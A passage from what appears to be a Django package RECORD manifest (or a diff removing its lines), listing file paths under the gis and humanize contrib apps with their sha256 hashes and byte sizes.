-django/contrib/gis/locale/gl/LC_MESSAGES/django.po,sha256=zhqF1InI8QaKhDLqjfTRUbMPaT9X3D1eI1ocV5FHGf4,2231 -django/contrib/gis/locale/he/LC_MESSAGES/django.mo,sha256=qaxQ0A76SO7GM5WDK0_3pAJDFzkvAtjSV8r1P4ySCVY,2135 -django/contrib/gis/locale/he/LC_MESSAGES/django.po,sha256=f8w5v4W7w47vH6Tq4HfMOX9jB4ab0oEXnpuJcDlk7Ak,2336 -django/contrib/gis/locale/hi/LC_MESSAGES/django.mo,sha256=3nsy5mxKTPtx0EpqBNA_TJXmLmVZ4BPUZG72ZEe8OPM,1818 -django/contrib/gis/locale/hi/LC_MESSAGES/django.po,sha256=jTFG2gqqYAQct9-to0xL2kUFQu-ebR4j7RGfxn4sBAg,2372 -django/contrib/gis/locale/hr/LC_MESSAGES/django.mo,sha256=0XrRj2oriNZxNhEwTryo2zdMf-85-4X7fy7OJhB5ub4,1549 -django/contrib/gis/locale/hr/LC_MESSAGES/django.po,sha256=iijzoBoD_EJ1n-a5ys5CKnjzZzG299zPoCN-REFkeqE,2132 -django/contrib/gis/locale/hsb/LC_MESSAGES/django.mo,sha256=oXaJFKOmRL_hRqAbghejIgZiq67bAnrOV0eFpoqmyW0,1991 -django/contrib/gis/locale/hsb/LC_MESSAGES/django.po,sha256=uktC4ibheBFFZVh0LVtRVUT3RnefGXVOVQddK70hdgg,2155 -django/contrib/gis/locale/hu/LC_MESSAGES/django.mo,sha256=dXlt0Oq_W45B_Foneh2FgpExduFanuG7ia0wKsYCUqs,1891 -django/contrib/gis/locale/hu/LC_MESSAGES/django.po,sha256=Ws1oB2MpVa90a0JNK2LxsZytKBuMMNwLx0DW1sem4Es,2210 -django/contrib/gis/locale/hy/LC_MESSAGES/django.mo,sha256=pi9oAP8fLCg8ssz7ADZ_p9HntyDtdQ1Mep6KsR5Glfs,2020 -django/contrib/gis/locale/hy/LC_MESSAGES/django.po,sha256=FKRbr93M2S4dLWes80CTZ1AucKW8MF5cw98i0s8qZo4,2260 -django/contrib/gis/locale/ia/LC_MESSAGES/django.mo,sha256=gSHcbhwZ2H1amTQbWw908L0aTniLzK8T2RVGsiHuKIY,1812 -django/contrib/gis/locale/ia/LC_MESSAGES/django.po,sha256=IyKoOfc6ZNtvpL8s-r4lv41wlsCyq8CGNoNp7uHWUGE,2122 -django/contrib/gis/locale/id/LC_MESSAGES/django.mo,sha256=dzDiuO47A6XWR3G-OrY-A2c-7ccp1oGLlKPyUO2Wlpg,1862 -django/contrib/gis/locale/id/LC_MESSAGES/django.po,sha256=KZVcWZ_X8x3LO5Z4V-hzSEsvE-BEHIZq5eWJlW1SwZs,2278 -django/contrib/gis/locale/io/LC_MESSAGES/django.mo,sha256=_yUgF2fBUxVAZAPNw2ROyWly5-Bq0niGdNEzo2qbp8k,464 -django/contrib/gis/locale/io/LC_MESSAGES/django.po,sha256=fgGJ1xzliMK0MlVoV9CQn_BuuS3Kl71Kh5YEybGFS0Y,1472 -django/contrib/gis/locale/is/LC_MESSAGES/django.mo,sha256=UQb3H5F1nUxJSrADpLiYe12TgRhYKCFQE5Xy13MzEqU,1350 -django/contrib/gis/locale/is/LC_MESSAGES/django.po,sha256=8QWtgdEZR7OUVXur0mBCeEjbXTBjJmE-DOiKe55FvMo,1934 -django/contrib/gis/locale/it/LC_MESSAGES/django.mo,sha256=8VddOMr-JMs5D-J5mq-UgNnhf98uutpoJYJKTr8E224,1976 -django/contrib/gis/locale/it/LC_MESSAGES/django.po,sha256=Vp1G-GChjjTsODwABsg5LbmR6_Z-KpslwkNUipuOqk4,2365 -django/contrib/gis/locale/ja/LC_MESSAGES/django.mo,sha256=SY1Kxu_gIqusDX5-4SvWmfGi5zG_-jG_98wbkkUyMfk,2052 -django/contrib/gis/locale/ja/LC_MESSAGES/django.po,sha256=tui2WDqNwYHiOkR9j9kl8YSs_kzZ5MTHAj9hniHKI_8,2357 -django/contrib/gis/locale/ka/LC_MESSAGES/django.mo,sha256=iqWQ9j8yanPjDhwi9cNSktYgfLVnofIsdICnAg2Y_to,1991 -django/contrib/gis/locale/ka/LC_MESSAGES/django.po,sha256=rkM7RG0zxDN8vqyAudmk5nocajhOYP6CTkdJKu21Pf4,2571 -django/contrib/gis/locale/kk/LC_MESSAGES/django.mo,sha256=NtgQONp0UncUNvrh0W2R7u7Ja8H33R-a-tsQShWq-QI,1349 -django/contrib/gis/locale/kk/LC_MESSAGES/django.po,sha256=78OMHuerBJZJZVo9GjGJ1h5fwdLuSc_X03ZhSRibtf4,1979 -django/contrib/gis/locale/km/LC_MESSAGES/django.mo,sha256=T0aZIZ_gHqHpQyejnBeX40jdcfhrCOjgKjNm2hLrpNE,459 -django/contrib/gis/locale/km/LC_MESSAGES/django.po,sha256=7ARjFcuPQJG0OGLJu9pVfSiAwc2Q-1tT6xcLeKeom1c,1467 -django/contrib/gis/locale/kn/LC_MESSAGES/django.mo,sha256=EkJRlJJSHZJvNZJuOLpO4IIUEoyi_fpKwNWe0OGFcy4,461 -django/contrib/gis/locale/kn/LC_MESSAGES/django.po,sha256=MnsSftGvmgJgGfgayQUVDMj755z8ItkM9vBehORfYbk,1475 -django/contrib/gis/locale/ko/LC_MESSAGES/django.mo,sha256=TyIytTrPe4GO6lRsK1CW0wIdhbrwDHxlO_29OX6MoH4,1888 -django/contrib/gis/locale/ko/LC_MESSAGES/django.po,sha256=V5OQ0oW3zU8MMdlOJXk-4RQo0UV3cCAhgSMOaQRgttM,2296 -django/contrib/gis/locale/ky/LC_MESSAGES/django.mo,sha256=nvMSOW77P-YCRkQgrQUpM94FexqLEt8Et0jri2nm_Ec,2157 -django/contrib/gis/locale/ky/LC_MESSAGES/django.po,sha256=0qqO8QWgJXPJpZ900MVsHdw6wMZBa0tE5GN3KSGa58E,2372 -django/contrib/gis/locale/lb/LC_MESSAGES/django.mo,sha256=XAyZQUi8jDr47VpSAHp_8nQb0KvSMJHo5THojsToFdk,474 -django/contrib/gis/locale/lb/LC_MESSAGES/django.po,sha256=5rfudPpH4snSq2iVm9E81EBwM0S2vbkY2WBGhpuga1Q,1482 -django/contrib/gis/locale/lt/LC_MESSAGES/django.mo,sha256=AD69M-SBrmQ5qaFKXX6FYOOXLfhuWlQdOYcMlV0UClo,2036 -django/contrib/gis/locale/lt/LC_MESSAGES/django.po,sha256=1yXUj9Hf4D2iyl97HoRuJLkfnR7Z-WmOoIJil98Cy-M,2366 -django/contrib/gis/locale/lv/LC_MESSAGES/django.mo,sha256=ZNt2B2qukArT3gRZE2SNsKna5pf9-UcsTUbQ3UbbQKA,1978 -django/contrib/gis/locale/lv/LC_MESSAGES/django.po,sha256=CM5WUeTmm4pp5Y4E1Cm3aCwGmTHNSyjSU3B44dRYdHA,2215 -django/contrib/gis/locale/mk/LC_MESSAGES/django.mo,sha256=fLSXxmJFE9kYsKMiwWAXS-9TweB_yuWzAjR-y0eysvI,2518 -django/contrib/gis/locale/mk/LC_MESSAGES/django.po,sha256=P2IKvpaMOj5UvJX_Lz-PE0-1D7Kt_fYM5Amm3d5g6t4,2918 -django/contrib/gis/locale/ml/LC_MESSAGES/django.mo,sha256=Kl9okrE3AzTPa5WQ-IGxYVNSRo2y_VEdgDcOyJ_Je78,2049 -django/contrib/gis/locale/ml/LC_MESSAGES/django.po,sha256=PWg8atPKfOsnVxg_uro8zYO9KCE1UVhfy_zmCWG0Bdk,2603 -django/contrib/gis/locale/mn/LC_MESSAGES/django.mo,sha256=DlGtHJJMKLVntNdaPBXZw9ApM_SjUYEYAgE9DpZv33w,2323 -django/contrib/gis/locale/mn/LC_MESSAGES/django.po,sha256=z9E7N3TXiMCd2FCunpMjS55-uamM_G4iQpI1MoTDSVY,2766 -django/contrib/gis/locale/mr/LC_MESSAGES/django.mo,sha256=3be2jV7c3MBww-fNMk8A9l9hWDwR4pgSmfztJj6cio0,510 -django/contrib/gis/locale/mr/LC_MESSAGES/django.po,sha256=dKaMdzicJqGwxA5VF1GeM3wGUQOtsnWCeHoGGcjFy-o,1530 -django/contrib/gis/locale/ms/LC_MESSAGES/django.mo,sha256=5_xS-XXVyw0cxvDzUIus5JImr0dkcswait04e7TrUtY,1828 -django/contrib/gis/locale/ms/LC_MESSAGES/django.po,sha256=I8rMkUEfsbjf-dWUuXyhYwCXhyX8AS3jjOKinAh7q2Q,1956 -django/contrib/gis/locale/my/LC_MESSAGES/django.mo,sha256=e6G8VbCCthUjV6tV6PRCy_ZzsXyZ-1OYjbYZIEShbXI,525 -django/contrib/gis/locale/my/LC_MESSAGES/django.po,sha256=R3v1S-904f8FWSVGHe822sWrOJI6cNJIk93-K7_E_1c,1580 -django/contrib/gis/locale/nb/LC_MESSAGES/django.mo,sha256=mx9uGqo5w_uRBWHswuEKoI-U-RX_Xvx_qck5ForI63Y,1808 -django/contrib/gis/locale/nb/LC_MESSAGES/django.po,sha256=LVjQsJxXdDBuKS5D7BEJ10C9OE8x3g0f9ewgjoG6fbY,2039 -django/contrib/gis/locale/ne/LC_MESSAGES/django.mo,sha256=nB-Ta8w57S6hIAhAdWZjDT0Dg6JYGbAt5FofIhJT7k8,982 -django/contrib/gis/locale/ne/LC_MESSAGES/django.po,sha256=eMH6uKZZZYn-P3kmHumiO4z9M4923s9tWGhHuJ0eWuI,1825 -django/contrib/gis/locale/nl/LC_MESSAGES/django.mo,sha256=ScPsjM7aMa8PwcbxliFgqfS7_WyOuTGmODGAZY85UM4,1897 -django/contrib/gis/locale/nl/LC_MESSAGES/django.po,sha256=zoUzuPhO4XGlrhmRluXNRMpjD7lEIjAW8TufBqAOO4o,2408 -django/contrib/gis/locale/nn/LC_MESSAGES/django.mo,sha256=P1RU0OICBDeHHtX6rCSB4xXgS4Qn97LqoxJ8phgiMDs,1830 -django/contrib/gis/locale/nn/LC_MESSAGES/django.po,sha256=-mkHmKp3b76uZlFOG3lFLp2nEFtBRV_4ThDPQmUWtX4,2027 -django/contrib/gis/locale/os/LC_MESSAGES/django.mo,sha256=02NpGC8WPjxmPqQkfv9Kj2JbtECdQCtgecf_Tjk1CZc,1594 -django/contrib/gis/locale/os/LC_MESSAGES/django.po,sha256=JBIsv5nJg3Wof7Xy7odCI_xKRBLN_Hlbb__kNqNW4Xw,2161 -django/contrib/gis/locale/pa/LC_MESSAGES/django.mo,sha256=JR1NxG5_h_dFE_7p6trBWWIx-QqWYIgfGomnjaCsWAA,1265 -django/contrib/gis/locale/pa/LC_MESSAGES/django.po,sha256=Ejd_8dq_M0E9XFijk0qj4oC-8_oe48GWWHXhvOrFlnY,1993 -django/contrib/gis/locale/pl/LC_MESSAGES/django.mo,sha256=KHar168QJ7Mj0419885rkyRXvWXkICAi0hUbb8KssY8,2045 -django/contrib/gis/locale/pl/LC_MESSAGES/django.po,sha256=cfeYjcF9R8VKujBMGLx_1z9zDY19DPCjUw5FpHuBIqs,2487 -django/contrib/gis/locale/pt/LC_MESSAGES/django.mo,sha256=BQ2wNaNglNZdY8O-YPpebJ4LJcGfTVhiKKOGkES0Bt0,1902 -django/contrib/gis/locale/pt/LC_MESSAGES/django.po,sha256=r8TnedUuMn_-wRFOt3jCa9WQ5dz2eGt4Y8DZx2aRQ6o,2451 -django/contrib/gis/locale/pt_BR/LC_MESSAGES/django.mo,sha256=5HGIao480s3B6kXtSmdy1AYjGUZqbYuZ9Eapho_jkTk,1976 -django/contrib/gis/locale/pt_BR/LC_MESSAGES/django.po,sha256=4-2WPZT15YZPyYbH7xnBRc7A8675875kVFjM9tr1o5U,2333 -django/contrib/gis/locale/ro/LC_MESSAGES/django.mo,sha256=jncf415WRI-GaemNGtbXITeYpx2zbokFNfQkONIOSO4,1770 -django/contrib/gis/locale/ro/LC_MESSAGES/django.po,sha256=5Xb2c11mwOdsd1D8SZC5u6nsuNjWEtdT1hslrQBfxP0,2181 -django/contrib/gis/locale/ru/LC_MESSAGES/django.mo,sha256=j9DEE5SVvEXWBj_PtR9_1IsaE-YCq4iOBcaiyHHqOEo,2481 -django/contrib/gis/locale/ru/LC_MESSAGES/django.po,sha256=fgj-PmNJ88IsjUUq7x9W6KSwXWdmnEq1PBlWsLFhzwE,2835 -django/contrib/gis/locale/sk/LC_MESSAGES/django.mo,sha256=FQy4gMIxrXNm42pvJ61q4ZfG0Ce98gv78b2I0vYN2CY,1980 -django/contrib/gis/locale/sk/LC_MESSAGES/django.po,sha256=z7uy3S2VXGZKMfgFLISYUPUb-zyEYXqlDgL_ODmb_4w,2315 -django/contrib/gis/locale/sl/LC_MESSAGES/django.mo,sha256=Ha88TShV2Bt_Jmvlkkc81CUkuV2iKfhGjzpD7KLMhv8,1972 -django/contrib/gis/locale/sl/LC_MESSAGES/django.po,sha256=B81yHSMjOYevk35kC4JEi4Ua3axjadkFW8aRuMnj6P0,2319 -django/contrib/gis/locale/sq/LC_MESSAGES/django.mo,sha256=XPieM0pMyhrgOs-c3shBBiEfFLCrN__Kumyb7PK25-c,1835 -django/contrib/gis/locale/sq/LC_MESSAGES/django.po,sha256=l06nidL-0TDjjesqW-Q_dxMBQOfGRSyCj-fdhBURFs4,2172 -django/contrib/gis/locale/sr/LC_MESSAGES/django.mo,sha256=bM996RqI1wt4qHsUaGXoEO3fnaSZdjVD2TvUFDp5dVk,2365 -django/contrib/gis/locale/sr/LC_MESSAGES/django.po,sha256=hunakYgljjOiiYF98ZzFzIHTkIAGQM_IJLiLfmlR86Q,2628 -django/contrib/gis/locale/sr_Latn/LC_MESSAGES/django.mo,sha256=kniIObavM7XKqD5vcglrbcD8jqANKg7hN6AP4cIVAI0,1981 -django/contrib/gis/locale/sr_Latn/LC_MESSAGES/django.po,sha256=A2NsZJvk2Cckg8OS3yW_T11Tcv5-zgGEHcDRJpvE8Zg,2206 -django/contrib/gis/locale/sv/LC_MESSAGES/django.mo,sha256=CowUAoL4t4np5cBndBNM-a4Wu5oD899nVfifMOLz6xQ,1880 -django/contrib/gis/locale/sv/LC_MESSAGES/django.po,sha256=Xyzc8X3vwQ3wWfS4_5mpwFXPPAeCx4mODYFq3Kba04g,2252 -django/contrib/gis/locale/sw/LC_MESSAGES/django.mo,sha256=uBhpGHluGwYpODTE-xhdJD2e6PHleN07wLE-kjrXr_M,1426 -django/contrib/gis/locale/sw/LC_MESSAGES/django.po,sha256=nHXQQMYYXT1ec3lIBxQIDIAwLtXucX47M4Cozy08kko,1889 -django/contrib/gis/locale/ta/LC_MESSAGES/django.mo,sha256=Rboo36cGKwTebe_MiW4bOiMsRO2isB0EAyJJcoy_F6s,466 -django/contrib/gis/locale/ta/LC_MESSAGES/django.po,sha256=sLYW8_5BSVoSLWUr13BbKRe0hNJ_cBMEtmjCPBdTlAk,1474 -django/contrib/gis/locale/te/LC_MESSAGES/django.mo,sha256=xDkaSztnzQ33Oc-GxHoSuutSIwK9A5Bg3qXEdEvo4h4,824 -django/contrib/gis/locale/te/LC_MESSAGES/django.po,sha256=nYryhktJumcwtZDGZ43xBxWljvdd-cUeBrAYFZOryVg,1772 -django/contrib/gis/locale/tg/LC_MESSAGES/django.mo,sha256=6Jyeaq1ORsnE7Ceh_rrhbfslFskGe12Ar-dQl6NFyt0,611 -django/contrib/gis/locale/tg/LC_MESSAGES/django.po,sha256=9c1zPt7kz1OaRJPPLdqjQqO8MT99KtS9prUvoPa9qJk,1635 -django/contrib/gis/locale/th/LC_MESSAGES/django.mo,sha256=0kekAr7eXc_papwPAxEZ3TxHOBg6EPzdR3q4hmAxOjg,1835 -django/contrib/gis/locale/th/LC_MESSAGES/django.po,sha256=WJPdoZjLfvepGGMhfBB1EHCpxtxxfv80lRjPG9kGErM,2433 -django/contrib/gis/locale/tr/LC_MESSAGES/django.mo,sha256=5EKMteFT0WXGacwXnRt5Eak00kbtYmqskkuCg2rGvyc,1904 -django/contrib/gis/locale/tr/LC_MESSAGES/django.po,sha256=DSIty_3V3G_Pv498EU3H60-5jS0b1S5tPwR_fkwpq98,2180 -django/contrib/gis/locale/tt/LC_MESSAGES/django.mo,sha256=cGVPrWCe4WquVV77CacaJwgLSnJN0oEAepTzNMD-OWk,1470 -django/contrib/gis/locale/tt/LC_MESSAGES/django.po,sha256=98yeRs-JcMGTyizOpEuQenlnWJMYTR1-rG3HGhKCykk,2072 -django/contrib/gis/locale/udm/LC_MESSAGES/django.mo,sha256=I6bfLvRfMn79DO6bVIGfYSVeZY54N6c8BNO7OyyOOsw,462 -django/contrib/gis/locale/udm/LC_MESSAGES/django.po,sha256=B1PCuPYtNOrrhu4fKKJgkqxUrcEyifS2Y3kw-iTmSIk,1470 -django/contrib/gis/locale/ug/LC_MESSAGES/django.mo,sha256=cKr7ETLbYR1nMm2iJsQwZYKz8U5aP2CX5RdhbKW2gh4,2360 -django/contrib/gis/locale/ug/LC_MESSAGES/django.po,sha256=d1P7kH2ETJ9n34d9ALE0tHWw_1_fq7fuiLBNK2IlM10,2529 -django/contrib/gis/locale/uk/LC_MESSAGES/django.mo,sha256=jsJMgEt6VXoSjksQGngxaywARUsk5tiIKJfUw9kgEBw,2513 -django/contrib/gis/locale/uk/LC_MESSAGES/django.po,sha256=NNAUWdHmhsWtrPIgddjT03k4IeJUlUCYM7n78DisFQw,3015 -django/contrib/gis/locale/ur/LC_MESSAGES/django.mo,sha256=tB5tz7EscuE9IksBofNuyFjk89-h5X7sJhCKlIho5SY,1410 -django/contrib/gis/locale/ur/LC_MESSAGES/django.po,sha256=16m0t10Syv76UcI7y-EXfQHETePmrWX4QMVfyeuX1fQ,2007 -django/contrib/gis/locale/vi/LC_MESSAGES/django.mo,sha256=NT5T0FRCC2XINdtaCFCVUxb5VRv8ta62nE8wwSHGTrc,1384 -django/contrib/gis/locale/vi/LC_MESSAGES/django.po,sha256=y77GtqH5bv1wR78xN5JLHusmQzoENTH9kLf9Y3xz5xk,1957 -django/contrib/gis/locale/zh_Hans/LC_MESSAGES/django.mo,sha256=NvNiRwwuqrmOWqiiuYhoxTs3CXb9Zq0-R_2YVhY6n34,1760 -django/contrib/gis/locale/zh_Hans/LC_MESSAGES/django.po,sha256=jXKQKr3GOjL5LJ7Mv1O3zpn2hr_sA_31ote8Pzk9tOU,2232 -django/contrib/gis/locale/zh_Hant/LC_MESSAGES/django.mo,sha256=jbNgO-5ICEWlqu5BaaKrPQ5XIC1CDzpYbbXA6_Xo-D0,1811 -django/contrib/gis/locale/zh_Hant/LC_MESSAGES/django.po,sha256=h72hJ3socDnGCoPHREClni4DxDS0B-n-8EGAADlnmK4,2139 -django/contrib/gis/management/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -django/contrib/gis/management/__pycache__/__init__.cpython-311.pyc,, -django/contrib/gis/management/commands/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -django/contrib/gis/management/commands/__pycache__/__init__.cpython-311.pyc,, -django/contrib/gis/management/commands/__pycache__/inspectdb.cpython-311.pyc,, -django/contrib/gis/management/commands/__pycache__/ogrinspect.cpython-311.pyc,, -django/contrib/gis/management/commands/inspectdb.py,sha256=8WhDOBICFAbLFu7kwAAS4I5pNs_p1BrCv8GJYI3S49k,760 -django/contrib/gis/management/commands/ogrinspect.py,sha256=XnWAbLxRxTSvbKSvjgePN7D1o_Ep4qWkvMwVrG1TpYY,6071 -django/contrib/gis/measure.py,sha256=3Kwchst6tJFwK9tMQb5oD6_eUVNnSMyKruOEDuxT7Rc,12573 -django/contrib/gis/ptr.py,sha256=NeIBB-plwO61wGOOxGg7fFyVXI4a5vbAGUdaJ_Fmjqo,1312 -django/contrib/gis/serializers/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -django/contrib/gis/serializers/__pycache__/__init__.cpython-311.pyc,, -django/contrib/gis/serializers/__pycache__/geojson.cpython-311.pyc,, -django/contrib/gis/serializers/geojson.py,sha256=YS0GTom8Y7TI4DsORKqpm4X080pyO2-XBnO4FXdZTvE,2876 -django/contrib/gis/shortcuts.py,sha256=aa9zFjVU38qaEvRc0vAH_j2AgAERlI01rphYLHbc7Tg,1027 -django/contrib/gis/sitemaps/__init__.py,sha256=Tjj057omOVcoC5Fb8ITEYVhLm0HcVjrZ1Mbz_tKoD1A,138 -django/contrib/gis/sitemaps/__pycache__/__init__.cpython-311.pyc,, -django/contrib/gis/sitemaps/__pycache__/kml.cpython-311.pyc,, -django/contrib/gis/sitemaps/__pycache__/views.cpython-311.pyc,, -django/contrib/gis/sitemaps/kml.py,sha256=CUn_KKVrwGg2ZmmDcWosBc0QFuJp8hHpeNRCcloVk1U,2573 -django/contrib/gis/sitemaps/views.py,sha256=AFV1ay-oFftFC-IszzeKz3JAGzE0TOCH8pN1cwtg7yI,2353 -django/contrib/gis/static/gis/css/ol3.css,sha256=DmCfOuPC1wUs0kioWxIpSausvF6AYUlURbJLNGyvngA,773 -django/contrib/gis/static/gis/img/draw_line_off.svg,sha256=6XW83xsR5-Guh27UH3y5UFn9y9FB9T_Zc4kSPA-xSOI,918 -django/contrib/gis/static/gis/img/draw_line_on.svg,sha256=Hx-pXu4ped11esG6YjXP1GfZC5q84zrFQDPUo1C7FGA,892 -django/contrib/gis/static/gis/img/draw_point_off.svg,sha256=PICrywZPwuBkaQAKxR9nBJ0AlfTzPHtVn_up_rSiHH4,803 -django/contrib/gis/static/gis/img/draw_point_on.svg,sha256=raGk3oc8w87rJfLdtZ4nIXJyU3OChCcTd4oH-XAMmmM,803 -django/contrib/gis/static/gis/img/draw_polygon_off.svg,sha256=gnVmjeZE2jOvjfyx7mhazMDBXJ6KtSDrV9f0nSzkv3A,981 -django/contrib/gis/static/gis/img/draw_polygon_on.svg,sha256=ybJ9Ww7-bsojKQJtjErLd2cCOgrIzyqgIR9QNhH_ZfA,982 -django/contrib/gis/static/gis/js/OLMapWidget.js,sha256=JdZJtX4EP_pphsjxs7EnZdfHGM1s5Zsn1MQ38JDU0JQ,9019 -django/contrib/gis/templates/gis/kml/base.kml,sha256=VYnJaGgFVHRzDjiFjbcgI-jxlUos4B4Z1hx_JeI2ZXU,219 -django/contrib/gis/templates/gis/kml/placemarks.kml,sha256=TEC81sDL9RK2FVeH0aFJTwIzs6_YWcMeGnHkACJV1Uc,360 -django/contrib/gis/templates/gis/openlayers-osm.html,sha256=TeiUqCjt73W8Hgrp_6zAtk_ZMBxskNN6KHSmnJ1-GD4,378 -django/contrib/gis/templates/gis/openlayers.html,sha256=J9e_MAMgfMR8NFH9bhQ_ZDIsjKCiCfRRp0__bKK6TK4,1418 -django/contrib/gis/utils/__init__.py,sha256=GXqrxwX_3jnbhdt9DX2chGJdeoLFBGwr8GzkJBU-RFQ,682 -django/contrib/gis/utils/__pycache__/__init__.cpython-311.pyc,, -django/contrib/gis/utils/__pycache__/layermapping.cpython-311.pyc,, -django/contrib/gis/utils/__pycache__/ogrinfo.cpython-311.pyc,, -django/contrib/gis/utils/__pycache__/ogrinspect.cpython-311.pyc,, -django/contrib/gis/utils/__pycache__/srs.cpython-311.pyc,, -django/contrib/gis/utils/layermapping.py,sha256=HTHrMmWVnp5Sxs95pq_j7kyFUGNKrEbsJWzD3etYdGc,29039 -django/contrib/gis/utils/ogrinfo.py,sha256=6m3KaRzLoZtQ0OSrpRkaFIQXi9YOXTkQcYeqYb0S0nw,1956 -django/contrib/gis/utils/ogrinspect.py,sha256=f31eRqR5ybC-QR2mOjNWszYDANCWdEEgyqeIcvBAC4g,9170 -django/contrib/gis/utils/srs.py,sha256=UXsbxW0cQzdnPKO0d9E5K2HPdekdab5NaLZWNOUq-zk,2962 -django/contrib/gis/views.py,sha256=zdCV8QfUVfxEFGxESsUtCicsbSVtZNI_IXybdmsHKiM,714 -django/contrib/humanize/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -django/contrib/humanize/__pycache__/__init__.cpython-311.pyc,, -django/contrib/humanize/__pycache__/apps.cpython-311.pyc,, -django/contrib/humanize/apps.py,sha256=LH3PTbB4V1gbBc8nmCw3BsSuA8La0fNOb4cSISvJAwI,194 -django/contrib/humanize/locale/af/LC_MESSAGES/django.mo,sha256=yFvTzvROTnoZF4ZPAs3z9ireOuOf5gTfECEUdGa4EkM,4224 -django/contrib/humanize/locale/af/LC_MESSAGES/django.po,sha256=m8GF4T4HY4aGsfadUdu04yc7cq9Sm-K5LM-OFjTrq5Y,7541 -django/contrib/humanize/locale/ar/LC_MESSAGES/django.mo,sha256=PokPfBR8w4AbRtNNabl5vO8r5E8_egHvFBjKp4CCvO4,7510 -django/contrib/humanize/locale/ar/LC_MESSAGES/django.po,sha256=QGW-kx-87DlPMGr5l_Eb6Ge-x4tkz2PuwHDe3EIkIQg,12326 -django/contrib/humanize/locale/ar_DZ/LC_MESSAGES/django.mo,sha256=NwCrL5FX_xdxYdqkW_S8tmU8ktDM8LqimmUvkt8me74,9155 -django/contrib/humanize/locale/ar_DZ/LC_MESSAGES/django.po,sha256=tt0AxhohGX79OQ_lX1S5soIo-iSCC07SdAhPpy0O7Q4,15234 -django/contrib/humanize/locale/ast/LC_MESSAGES/django.mo,sha256=WvBk8V6g1vgzGqZ_rR-4p7SMh43PFnDnRhIS9HSwdoQ,3468 -django/contrib/humanize/locale/ast/LC_MESSAGES/django.po,sha256=S9lcUf2y5wR8Ufa-Rlz-M73Z3bMo7zji_63cXwtDK2I,5762 -django/contrib/humanize/locale/az/LC_MESSAGES/django.mo,sha256=ukqeNWHDFXv3XhvfpX8ZU6sb-CrUIx_ks_gwNNWfiFw,4311 -django/contrib/humanize/locale/az/LC_MESSAGES/django.po,sha256=RLGjARRoX9wwBS8Y4EBiC_0iWig93qKaWel4sLOqLhM,7765 -django/contrib/humanize/locale/be/LC_MESSAGES/django.mo,sha256=7KyJKhNqMqv32CPdJi01RPLBefOVCQW-Gx6-Vf9JVrs,6653 -django/contrib/humanize/locale/be/LC_MESSAGES/django.po,sha256=2mbReEHyXhmZysqhSmaT6A2XCHn8mYb2R_O16TMGCAo,10666 -django/contrib/humanize/locale/bg/LC_MESSAGES/django.mo,sha256=jCdDIbqWlhOs-4gML44wSRIXJQxypfak6ByRG_reMsk,4823 -django/contrib/humanize/locale/bg/LC_MESSAGES/django.po,sha256=v2ih4-pL1cdDXaa3uXm9FxRjRKyULLGyz78Q91eKEG8,8267 -django/contrib/humanize/locale/bn/LC_MESSAGES/django.mo,sha256=jbL4ucZxxtexI10jgldtgnDie3I23XR3u-PrMMMqP6U,4026 -django/contrib/humanize/locale/bn/LC_MESSAGES/django.po,sha256=0l4yyy7q3OIWyFk_PW0y883Vw2Pmu48UcnLM9OBxB68,6545 -django/contrib/humanize/locale/br/LC_MESSAGES/django.mo,sha256=V_tPVAyQzVdDwWPNlVGWmlVJjmVZfbh35alkwsFlCNU,5850 -django/contrib/humanize/locale/br/LC_MESSAGES/django.po,sha256=BcAqEV2JpF0hiCQDttIMblp9xbB7zoHsmj7fJFV632k,12245 -django/contrib/humanize/locale/bs/LC_MESSAGES/django.mo,sha256=1-RNRHPgZR_9UyiEn9Djp4mggP3fywKZho45E1nGMjM,1416 -django/contrib/humanize/locale/bs/LC_MESSAGES/django.po,sha256=M017Iu3hyXmINZkhCmn2he-FB8rQ7rXN0KRkWgrp7LI,5498 -django/contrib/humanize/locale/ca/LC_MESSAGES/django.mo,sha256=WDvXis2Y1ivSq6NdJgddO_WKbz8w5MpVpkT4sq-pWXI,4270 -django/contrib/humanize/locale/ca/LC_MESSAGES/django.po,sha256=AD3h2guGADdp1f9EcbP1vc1lmfDOL8-1qQfwvXa6I04,7731 -django/contrib/humanize/locale/ckb/LC_MESSAGES/django.mo,sha256=Mqv3kRZrOjWtTstmtOEqIJsi3vevf_hZUfYEetGxO7w,5021 -django/contrib/humanize/locale/ckb/LC_MESSAGES/django.po,sha256=q_7p7pEyV_NTw9eBvcztKlSFW7ykl0CIsNnA9g5oy20,8317 -django/contrib/humanize/locale/cs/LC_MESSAGES/django.mo,sha256=VFyZcn19aQUXhVyh2zo2g3PAuzOO38Kx9fMFOCCxzMc,5479 -django/contrib/humanize/locale/cs/LC_MESSAGES/django.po,sha256=mq3LagwA9hyWOGy76M9n_rD4p3wuVk6oQsneB9CF99w,9527 -django/contrib/humanize/locale/cy/LC_MESSAGES/django.mo,sha256=VjJiaUUhvX9tjOEe6x2Bdp7scvZirVcUsA4-iE2-ElQ,5241 -django/contrib/humanize/locale/cy/LC_MESSAGES/django.po,sha256=sylmceSq-NPvtr_FjklQXoBAfueKu7hrjEpMAsVbQC4,7813 -django/contrib/humanize/locale/da/LC_MESSAGES/django.mo,sha256=vfDHopmWFAomwqmmCX3wfmX870-zzVbgUFC6I77n9tE,4316 -django/contrib/humanize/locale/da/LC_MESSAGES/django.po,sha256=v7Al6UOkbYB1p7m8kOe-pPRIAoyWemoyg_Pm9bD5Ldc,7762 -django/contrib/humanize/locale/de/LC_MESSAGES/django.mo,sha256=aOUax9csInbXnjAJc3jq4dcW_9H-6ueVI-TtKz2b9q0,4364 -django/contrib/humanize/locale/de/LC_MESSAGES/django.po,sha256=gW3OfOfoVMvpVudwghKCYztkLrCIPbbcriZjBNnRyGo,7753 -django/contrib/humanize/locale/dsb/LC_MESSAGES/django.mo,sha256=OVKcuW9ZXosNvP_3A98WsIIk_Jl6U_kv3zOx4pvwh-g,5588 -django/contrib/humanize/locale/dsb/LC_MESSAGES/django.po,sha256=VimcsmobK3VXTbbTasg6osWDPOIZ555uimbUoUfNco4,9557 -django/contrib/humanize/locale/el/LC_MESSAGES/django.mo,sha256=o-yjhpzyGRbbdMzwUcG_dBP_FMEMZevm7Wz1p4Wd-pg,6740 